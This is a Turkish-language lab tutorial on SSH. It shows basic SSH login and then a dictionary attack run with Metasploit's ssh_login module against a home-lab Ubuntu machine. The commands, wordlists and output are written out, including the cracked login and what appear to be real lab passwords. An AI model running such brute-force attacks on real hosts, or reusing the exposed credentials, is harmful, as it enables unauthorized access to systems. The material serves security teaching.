SSH Sözlük Saldırısı

(+) *Bu yazı birebir denenmiştir ve başarıyla uygulanmıştır.*

Öncelikle bir SSH bağlantısı nasıl kurulur izah edilecektir. Sonra SSH servisine brute force yapma tekniği gösterilecektir.

a. SSH Bağlantısı Kurma Örneği

Bir bilgisayara ssh üzerinden bağlanma syntax'ı şu şekildedir:

```
> ssh hostIP
```

Hedef bilgisayardaki spesifik bir kullanıcıya ssh üzerinden bağlanma syntax'ı ise şu şekildedir:

```
> ssh accountName@hostIP
```

Diyelim ki Ubuntu'dan Kali'ye ssh ile bağlanacağız. Bu durumda aşağıdaki kodu girerek Kali'nin komut satırını Ubuntu'ya getirmiş oluruz.

```
hefese@hefese-N61Jq~$  ssh root@kaliIP
```

Output:

```
root@192.168.2.135's password:                    // tuzlucayir
Linux kali 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

root@kali:~#
```

Kırmızı ile vurgulanan alandan görülebileceği gibi Kali'nin komut satırı terminalimize gelmiş oldu.

NOT: Yukarıdaki girilen kodun çalışabilmesi için Ubuntu'da ssh'ın yüklü olması gerekmektedir (bkz. Yaz Tatili 2014/ SSH Kurulumu ve Bağlantı Örnekleri.docx). Ayrıca Kali'ye yukarıdaki gibi SSH ile bağlanabilmek için Kali'de SSH Server'ın başlamış olması gerekmektedir. SSH server'ı başlatabilmek için Kali'de aşağıdakiler girilir:

```
> service ssh start
```

Output:

```
[OK]   Starting OpenBSD Secure Shell server: sshd
```

b. SSH'a Sözlük Saldırısı Yapma

Peki hedef bir sistemi nmap ile tarattık diyelim ve 22nci portun açık olduğunu öğrendik. Bu durumda deriz ki hedef sistemde ssh servisi açık durumda. Hedef sisteme ssh ile bağlanabilmek ve sistemi ele geçirebilmek için hedef sistemin account name ve password'ünü bilmemiz gerekir. Bunun için Metasploit aracılığıyla sözlük saldırısı uygulayabiliriz. Diyelim ki biz Kali'yiz ve hedef sistem de Ubuntu. O halde sözlük dosyalarımızı oluşturalım.

usernames.txt:

hasan
fatih
simsek
hefese

passwords.txt:

sifre
password
p@ssw0rd
W.karabuk1992

Ardından sözlük saldırısını başlatmak için Metasploit'e aşağıdakileri girelim:

> use auxiliary/scanner/ssh/ssh_login

> set RHOSTS hedefinIPsi // Ubuntu'nun IP'si

> set USER_FILE Desktop/usernames.txt

> set PASS_FILE Desktop/passwords.txt

> run

Output:

[*] 192.168.2.201:22 SSH – Starting bruteforce
[-] 192.168.2.201:22 SSH – Failed: 'hasan:sifre'
[-] 192.168.2.201:22 SSH – Failed: 'hasan:password'
[-] 192.168.2.201:22 SSH – Failed: 'hasan:p@ssw0rd'
[-] 192.168.2.201:22 SSH – Failed: 'hasan:W.karabuk1992'
[-] 192.168.2.201:22 SSH – Failed: 'fatih:sifre'

… … …

[-] 192.168.2.201:22 SSH – Failed: 'hefese:sifre'
[-] 192.168.2.201:22 SSH – Failed: 'hefese:password'
[-] 192.168.2.201:22 SSH – Failed: 'hefese:p@ssw0rd'
[+] 192.168.2.201:22 SSH – Failed: 'hefese:W.karabuk1992'

… … …

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Böylece Ubuntu'nun account'unun adını ve şifresini elde etmiş olduk. Artık elde edilen “hefese” ve “W.karabuk1992” bilgilerini ssh komutuna koyarak hedef sisteme sızabiliriz.

```
> ssh hefese@192.168.2.201                    // Ubuntu'nun IP'si

Output:
        hefese@192.168.2.201's password:      // W.karabuk1992 girilir.

        Welcome to Ubuntu 14.04.3 LTS (GNU/Linux)
                * Documentation: https://help.ubuntu.com/
        Last login: Sat Feb 13 04:17:11 2016 from 192.168.2.135

        hefese@hefese-N61Jq:~$
```